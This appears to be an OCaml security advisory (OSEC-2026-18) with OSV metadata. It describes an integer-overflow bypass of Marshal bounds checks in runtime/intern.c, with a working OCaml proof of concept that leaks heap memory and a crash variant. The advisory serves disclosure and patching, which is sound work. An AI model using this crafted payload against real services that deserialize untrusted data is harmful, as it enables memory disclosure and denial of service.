An integer overflow in the length-validation logic of OCaml's Marshal deserializer allows a crafted serialized object to bypass all bounds checks added by the CVE-2026-28364 fix, producing heap out-of-bounds reads from Marshal.from_bytes / Marshal.from_string (and the C API caml_input_value_from_block).
runtime/intern.c validates declared data length against the input buffer with unsigned 64-bit addition that can wrap:
/* caml_input_val_from_bytes, intern.c:1038 */
if (ofs + h.header_len + h.data_len > caml_string_length(str))
caml_failwith("input_val_from_string: bad length");
h.data_len is fully attacker-controlled (8-byte field read straight from the stream for Intext_magic_number_big). With data_len >= 2^64 - (ofs + h.header_len), the sum wraps to a small value and the check passes.
The CVE-2026-28364 fix introduced:
/* intern.c:1043 (added by the fix) */
s->intern_src_end = s->intern_src + h.data_len; /* wraps to a pointer BEFORE the buffer */
intern_src_end wraps to a location before intern_src, so every intern_check_read() bound added by the fix (len > end - src with a negative diff promoted to a huge uintnat) evaluates false for any realistic length. The parser (intern_rec) then honors attacker-controlled read lengths (readblock up to Max_wosize bytes) against memory far beyond the input buffer.
The OCaml-side wrapper validation in stdlib/marshal.ml is bypassed by the same wrap, via caml_marshal_data_size (intern.c:1116-1150):
return Val_long((header_len - 16) + data_len); /* wraps to 0 / negative */
Marshal.from_bytes (marshal.ml:55-62) calls data_size_unsafe first, gets a wrapped len (0 or negative), and its re-check ofs > Bytes.length buff - (header_size + len) passes.
The same unchecked wrap exists in caml_input_value_from_buffer (intern.c:1080), used by the public C API caml_input_value_from_block and caml_input_value_from_malloc - these have no OCaml-side validation at all.
Intext_magic_number_big + 4 padding bytes + data_len = 2^64 - 16 + num_objects = 0 + whsize = 0.0x3F = 31 bytes, or CODE_STRING32 with an arbitrary length).Marshal.from_bytes buf 0 (or Marshal.from_string).data_size_unsafe returns 0; OCaml-side check passes.0 + 32 + (2^64-16) = 16 > len passes (wrapped).intern_src_end wraps to buf + 16; all intern_check_read pass.intern_rec executes readblock(s, dest, len) with attacker-chosen len, memcpy-ing heap memory past the buffer end into the returned string (info leak), or a huge len (SIGBUS/SIGSEGV, DoS).Tested on: macOS arm64, OCaml 5.5.0 (Homebrew), ocamlopt.
let () =
let buf = Bytes.create 40 in
Bytes.set buf 0 (Char.chr 0x84); Bytes.set buf 1 (Char.chr 0x95);
Bytes.set buf 2 (Char.chr 0xa6); Bytes.set buf 3 (Char.chr 0xbf);
for i = 4 to 7 do Bytes.set buf i '\000' done;
for i = 8 to 15 do Bytes.set buf i '\xff' done;
Bytes.set buf 15 (Char.chr 0xf0); (* data_len = 2^64 - 16 *)
for i = 16 to 31 do Bytes.set buf i '\000' done; (* num_objects = whsize = 0 *)
Bytes.set buf 32 (Char.chr 0x3f); (* small string, len 31 *)
for i = 33 to 39 do Bytes.set buf i 'A' done; (* only 7 real bytes follow *)
let s : string = Marshal.from_bytes buf 0 in
Printf.printf "len=%d content=%S\n" (String.length s) s
Output (24 bytes past the 40-byte buffer leaked into the returned string):
len=31 content="AAAAAAA\000\000\000\000\000\000\007\000\b\000\000\000\000\000\000\152\018\001\003\001\000\000\000"
Same header; stream byte 32 = 0x0A (CODE_STRING32), big-endian 0x40000000 (1 GB) length, 37-byte buffer:
$ ./crash; echo "exit=$?"
exit=138 (128 + SIGBUS)
{
"cwe": [
"CWE-190",
"CWE-125"
],
"human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-18.md",
"osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-18.json"
}"https://github.com/ocaml/security-advisories/blob/generated-osv/2026/OSEC-2026-18.json"
[
{
"deprecated": false,
"digest": {
"function_hash": "190756463131669547329747431197041051938",
"length": 394
},
"id": "OSEC-2026-18-285ae382",
"signature_type": "Function",
"signature_version": "v1",
"source": "https://github.com/ocaml/ocaml/commit/428288660cc1f655605347e09e2fbc0b0a404660",
"target": {
"file": "runtime/intern.c",
"function": "caml_input_value_from_block"
}
},
{
"deprecated": false,
"digest": {
"function_hash": "243957307246770092303174473127808827527",
"length": 648
},
"id": "OSEC-2026-18-2abbcca1",
"signature_type": "Function",
"signature_version": "v1",
"source": "https://github.com/ocaml/ocaml/commit/428288660cc1f655605347e09e2fbc0b0a404660",
"target": {
"file": "runtime/intern.c",
"function": "caml_marshal_data_size"
}
},
{
"deprecated": false,
"digest": {
"function_hash": "174811957624738899521094907301507092671",
"length": 1076
},
"id": "OSEC-2026-18-2eed9f15",
"signature_type": "Function",
"signature_version": "v1",
"source": "https://github.com/ocaml/ocaml/commit/928e7c8a950db8730e8e84105d3be347cae38f5c",
"target": {
"file": "runtime/intern.c",
"function": "caml_marshal_data_size"
}
},
{
"deprecated": false,
"digest": {
"line_hashes": [
"157988265308306075092987571557883745919",
"32927200031142725669152990424190197909",
"108440908871428556001972037599582633944",
"235432346939880764966806823792301943899"
],
"threshold": 0.9
},
"id": "OSEC-2026-18-6054c438",
"signature_type": "Line",
"signature_version": "v1",
"source": "https://github.com/ocaml/ocaml/commit/304654884d0c90b2e4ab673ff88caef38b05c714",
"target": {
"file": "runtime/intern.c"
}
},
{
"deprecated": false,
"digest": {
"function_hash": "33819192588737120719277210654403554134",
"length": 932
},
"id": "OSEC-2026-18-79b0d06e",
"signature_type": "Function",
"signature_version": "v1",
"source": "https://github.com/ocaml/ocaml/commit/428288660cc1f655605347e09e2fbc0b0a404660",
"target": {
"file": "runtime/intern.c",
"function": "caml_parse_header"
}
},
{
"deprecated": false,
"digest": {
"line_hashes": [
"157988265308306075092987571557883745919",
"32927200031142725669152990424190197909",
"108440908871428556001972037599582633944",
"235432346939880764966806823792301943899"
],
"threshold": 0.9
},
"id": "OSEC-2026-18-8088d273",
"signature_type": "Line",
"signature_version": "v1",
"source": "https://github.com/ocaml/ocaml/commit/928e7c8a950db8730e8e84105d3be347cae38f5c",
"target": {
"file": "runtime/intern.c"
}
},
{
"deprecated": false,
"digest": {
"line_hashes": [
"149298699704316024655160330006592422644",
"57387012427671800349670051571845273116",
"115231621560493383900062158425657710723",
"199389785760926618708665661242677120932",
"129277537071795268729165839383260066041",
"167816672693663125639169384903854167817",
"169004975956026803943376909439560997467",
"237413789071675945927251806815206997465",
"8299773143035118523124335873483635438",
"339153624059036332804709347926033987485",
"247558751460046724876093357143072020775",
"209777693013614625750299220184525445529",
"91041637704126472724052170237212801118",
"20608682038718279793272873896051477416",
"319242340280144089544742054052748746280",
"230700555425313595530257327095691376709",
"74594617691905157040093837694543743342",
"112561382347970651170241287311930851004",
"140535772341834980536921271327659574207",
"158413027079930348042795505542034989292",
"142981413299561104929089490116843608472",
"140713765027914966639794207627375310710",
"322118747579813160567047430693192398003",
"183080710646206510060246303800356853605"
],
"threshold": 0.9
},
"id": "OSEC-2026-18-8fa8fa4b",
"signature_type": "Line",
"signature_version": "v1",
"source": "https://github.com/ocaml/ocaml/commit/428288660cc1f655605347e09e2fbc0b0a404660",
"target": {
"file": "runtime/intern.c"
}
},
{
"deprecated": false,
"digest": {
"function_hash": "297142463761419925961706577639209367622",
"length": 567
},
"id": "OSEC-2026-18-c90a430e",
"signature_type": "Function",
"signature_version": "v1",
"source": "https://github.com/ocaml/ocaml/commit/428288660cc1f655605347e09e2fbc0b0a404660",
"target": {
"file": "runtime/intern.c",
"function": "caml_input_val_from_bytes"
}
},
{
"deprecated": false,
"digest": {
"function_hash": "174811957624738899521094907301507092671",
"length": 1076
},
"id": "OSEC-2026-18-f7f84191",
"signature_type": "Function",
"signature_version": "v1",
"source": "https://github.com/ocaml/ocaml/commit/304654884d0c90b2e4ab673ff88caef38b05c714",
"target": {
"file": "runtime/intern.c",
"function": "caml_marshal_data_size"
}
}
]
"2026-11-06T19:14:05Z"